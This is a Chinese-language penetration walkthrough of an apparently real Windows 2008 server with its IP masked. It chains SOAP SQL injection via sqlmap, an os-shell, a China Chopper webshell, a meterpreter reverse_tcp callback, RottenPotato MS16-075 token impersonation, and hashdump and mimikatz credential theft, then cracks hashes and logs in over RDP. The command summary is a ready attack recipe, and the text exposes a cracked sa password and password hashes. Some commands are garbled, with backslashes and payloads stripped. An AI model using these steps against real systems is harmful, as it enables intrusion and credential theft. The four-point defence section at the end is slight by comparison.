在實際成功滲透過程中,漏洞的利用都是多個技術的融合,最新技術的實踐,本次滲透利用sqlmap來確認注入點,通過sqlmap來獲取webshell,結合msf來進行ms16-075的提權,最終獲取了目標服務器的系統權限。本文算是漏洞利用的一個新的拓展,在常規nday提權不成功的情況下,結合msf進行ms16-075成功提權的一個經典案例。
1.1.1掃描soap注入漏洞
? ? 1.使用awvs中的web services scanner進行漏洞掃描? ?打開awvs,選擇web services scanner進行漏洞掃描,如圖1所示,在wsdl url中填寫目標url地址,注意一定是asmx?wsdl,有的是有asmx文件,如果沒有則可以直接填寫,例如:http://1**.***.***.***:8081/?wsdl。
圖1進行soap注入漏洞掃描
2.處理sql盲注? ??
? ? 通過awvs掃描,確認該url地址存在sql盲注(26處),在awvs中,單擊右邊的“view http headers”,將其內容復制到一個文本文件中,同時處理存在漏洞的語句,在本例中例如:
需要將紅色字圖部分更換為”-1*”。
3.完整的header包中內容如下:
POST /Service1.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: “http://tempuri.org/ZcpdList”
Content-Length: 716
X-Requested-With: XMLHttpRequest
Referer: http://1**.***.***.***:8081/?wsdl
Host: 1**.***.***.***:8081
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
? ? ?
? ? ?
? ? ? ?
? ? ? ? ? ?
? ? ? ? ? ? ?
? ? ? ? ? ?
? ? ? ?
? ? ?
Response
1.1.2確認soap注入漏洞
? ? 1.使用sqlmap檢測是否存在sql注入漏洞? ?將前面的header中的內容保存為1**.***.***.***.txt,將該文件復制到sqlmap.py程序所在目錄,執行命令:sqlmap.py -r 1**.***.***.***.txt,對sqlmap提示的信息進行確認:
custom injection marker (‘*’) found in option ‘–data’. Do you want to process it? [Y/n/q] [color=Red]y[/color]
SOAP/XML data found in POST data. Do you want to process it? [Y/n/q][color=Red]y[/color]
如圖2所示,sqlmap確認該sql注入漏洞存在,且該數據庫服務器為windows 2008 R2,數據庫版本為sql server 2008,soap存在漏洞為union查詢。
圖2?存在soap注入漏洞
2.查看數據庫是否dba權限(1)自動提交參數進行測試如圖3所示,執行命令:sqlmap.py -r 1**.***.***.***.txt –is-dba –batch后,也要兩次確認y,由于使用了參數“batch”,sqlmap會自動進行提交判斷值。
圖3自動提交參數進行判斷
(2)獲取當前數據庫使用的用戶是dba賬號。? ??如圖4所示,在sqlmap中獲取當前用戶是dba,顯示結果為true。該結果表明數據庫是使用sa權限,可以通過os-shell參數來獲取webshell。
圖4判斷是否為dba賬號
3.獲取sa賬號密碼
? ?如圖5所示,使用命令sqlmap.py -r 1**.***.***.***.txt –password –batch直接獲取該數據庫連接的所有賬號對應的密碼值:
圖5獲取sa賬號密碼
4.破解sa賬號密碼? ?在前面通過sqlmap成功獲取其數據庫密碼哈希值:
##MS_PolicyEventProcessingLogin## [1]:
? ?password hash: 0x01001a7b0c5b5b347506dbc67aa8ffa2ad20f852076d8446a838 ##MS_PolicyTsqlExecutionLogin## [1]:
? ?password hash: 0x01006c6443e1e42ca27773d413042ee8af2eea9026d44c8d4d1c sa [1]:
password hash: 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28??將sa對應的密碼值“0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28”在www.cmd5.com進行查詢,如圖6所示,其解密結果為“qaz123WSX”。
圖6解密sa密碼哈希值
1.1.3通過–os-shell獲取webshell1.獲取os-shell在sqlmap中執行命令:sqlmap.py -r 1**.***.***.***.txt –os-shell,在sqlmap執行窗口中確認信息:
? ?也可以執行sqlmap.py -r 1**.***.***.***.txt –os-shell –batch命令不用手工輸入。
2.尋找web程序所在目錄
(1)查看文件及目錄
??執行dir c:命令后,可以查看c目錄及文件,繼續查看“dir c:inetpubwwwroot”如圖7所示,在該文件夾中無web程序,排除該目錄。
圖7查看文件及目錄
(2)獲取網站真實目錄? ?通過依次查看c、d、e、f盤,在e盤獲取疑似網站程序文件,使用命令進行查看dir e:softwareAMS_NoFlow,如圖8所示。
圖8查看網站文件
3.測試網站真實目錄
(1)生成文件測試? ?如圖9所示,使用echo命令:echo “thisis test”>e:softwareAMS_NoFlow .txt,在網站根目錄下生成t.txt文件。內容為thisis test。
圖9生成文件
(2)網站訪問測試
? ?在瀏覽器中輸入地址http://1**.***.***.***/1.txt進行測試,如圖10所示,獲取內容跟預期一致,該目錄為網站真實物理地址。
圖10網站訪問測試
4.?獲取web.config配置文件內容? ?
在os-shell中,執行type e:softwareAMS_NoFlowweb.config命令查看web.config文件中的內容,在sqlmap命令窗口由于設置問題,可能無法查看其完整的內容,不過sqlmap在其output目錄下,會保持詳細情況,如圖11所示,打開其log文件,可以看到其sa賬號對應的密碼為qaz123WSX,跟前面破解的sa密碼一致。
圖11查看web.config配置文件內容
5.獲取ip地址信息? ?
如圖12所示,在os-shell中執行ipconfig命令,即可獲取該目標的IP地址配置情況,該目標對外配置獨立外網IP和內網IP地址,在os-shell中還可以執行其它命令。
圖12獲取IP地址
6. 獲取webshell測試
(1)生成shell文件
??在os-shell中執行命令:
echo ^^ > e:softwareAMS_NoFlowcmd.aspx
如圖13所示,回顯結果顯示1,無其它信息,表面生成文件命令成功。
圖13?生成webshell
(2)獲取webshell? ??使用中國菜刀后門管理工具,創建記錄http://1**.***.***.***/cmd.aspx,一句話后門密碼:pass,如圖14所示,連接成功,成功獲取webshell。
圖14獲取webshell
1.1.4常規方法提權失敗
1.生成系統信息文件??在os-shell中執行命令:
2.下載Windows-Exploit-Suggester程序Windows-Exploit-Suggester下載地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester/
3.更新漏洞庫并進行漏洞比對? ?在python中執行windows-exploit-suggester.py -u進行更新,同時對漏洞庫進行比對:windows-exploit-suggester.py??–audit -l –database 2018-06-04-mssb.xls –systeminfo SYD1-0081DSB.txt > SYD1-0081DSB-day.txt,如圖15所示。
圖15進行漏洞比對
4.查看漏洞情況? ?在C:Python27目錄打開SYD1-0081DSB-day.txt文件,如圖16所示,可以看到程序判斷該操作系統為windows 2008 R2版本,且存在多個漏洞,最新漏洞為ms16-075。
圖16查看漏洞情況
5.對存在的漏洞進行提權測試? ?按照漏洞編號,查找并整理exp文件,在目標服務器上進行提權測試,除ms16-075exp外,測試均失敗,無法提權。
1.1.5借助msf進行ms16-075提權
1.使用msf生成反彈木馬
在msf下面執行命令:
其中windows/meterpreter/reverse_tcp反彈端口類型,lhost是反彈連接的服務器Ip地址,注意該ip地址必須是獨立服務器,或者必須是外網端口映射,換句話說,就是反彈必須能夠接收,lport為反彈的端口,4433為生成的程序。
2.在監聽服務器上執行監聽命令
(1)啟動msf
msfconsole
(2)配置meterpreter參數
3.上傳4433.exe程序到目標服務器及執行
? ?將4433.exe文件上傳到目標服務器,并通過中國彩刀或者os-shell進行執行。
4.查看系統信息
? ?如圖17所示,目標反彈到監聽服務器上,執行sysinfo,獲取其系統信息。
圖17獲取系統信息
5.使用meterpreter自帶提權功能失敗
? ?在meterpreter中分別執行getuid和getsystem命令,如圖18所示,未能成功提權。
圖18使用默認meterpreter提權失敗
6.使用ms16-075進行提權
(1)ms16-075可利用exp下載https://github.com/foxglovesec/RottenPotato
(2)上傳potato文件
? ?通過webshell上傳potato.exe文件,或者在msf下面執行命令上傳:upload??/root/potato.exe
(3)獲取系統權限??依次執行以下命令:
如圖19所示,成功獲取系統權限。
圖19獲取系統權限tokens
(4)獲取系統權限分別執行命令:
如圖20所示,成功獲取系統權限。
圖20獲取系統權限
(5)獲取密碼??
在meterpreter下執行命令:run hashdump命令,如圖21所示,成功獲取該服務器密碼哈希值:Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::
圖21獲取密碼? ?
在本例中還是用load mimikatz進行明文密碼獲取,但獲取效果不理想,執行命令:kerberos、livessp、msv、ssp、tspkg、wdigest獲取不到明文密碼,還可以執行命令mimikatz_command,進入mimikatz命令提示符下進行操作。
(6)破解ntml密碼??將ntml密碼哈希值a59a64a645487c1581dea603253c7920復制到cmd5.com進行破解,?cmd5需要付費,還可以到:http://www.objectif-securite.ch/en/ophcrack.php和https://www.somd5.com/網站?進行密碼破解,如圖22所示,成功破解密碼。
圖22破解ntlm哈希值
7.登錄服務器? ?通過nmap -sS -Pn -A 1**.***.***.***或者masscan -p 1-65535 1**.***.***.***進行端口掃描,發現該服務器開放3389端口,使用mstsc進行登錄,如圖23所示,成功登錄該服務器。
圖23成功登錄服務器
1.1.6總結與防御
1.本次滲透主要命令匯總
(1)sqlmap執行命令
(2)os-shell下執行命令
ipconfigdir c:/echo “thisis test”>e:softwareAMS_NoFlow .txtecho ^^ > e:softwareAMS_NoFlowcmd.aspx
(3)msf下執行命令生成反彈木馬:
(4)msf啟動及監聽
msfconsoleuse exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.33(實際為外網IP地址)set LPORT 4433exploit
(5)ms16-075提權命令
use incognitolist_tokens -uexecute -cH -f ./potato.exelist_tokens -u impersonate_token “NT AUTHORITYSYSTEM”getuid
(6)獲取密碼run hashdump
(7)mimikatz進行密碼獲取
load mimikatzkerberos、livessp、msv、ssp、tspkg、wdigest(逐個命令測試,有的會顯示明文密碼)mimikatz_command:mimikatz命令提示窗口
(8)mimikatz命令行下獲取密碼(未做測試)
2.滲透總結??
在本次滲透中,通過sqlmap進行soap注入測試,通過sqlmap判斷sql注入點可用,后續通過os-shell成功獲取了webshell。獲取webshell后,嘗試通過常規的Nday提權方法,結果失敗,后續通過msf配合進行ms16-075進行提權。Windows-Exploit-Suggester進行本地漏洞的判斷和測試效果還是可以的,通過其審計,使用最新漏洞進行提權,基本命中率在99%。
3.安全防御? ?
成功滲透該服務器后,在該服務器上未發現有任何安全防護軟件,筆者根據經驗,建議做如下安全防御:
(1)對soap參數進行過濾,過濾危險的一些導致sql注入的參數。
(2)mssql數據庫使用低權限用戶進行數據庫連接。
(3)服務器定期進行補丁更新升級。
(4)安裝殺毒軟件、waf及硬件防火墻,增加攻擊成本和難度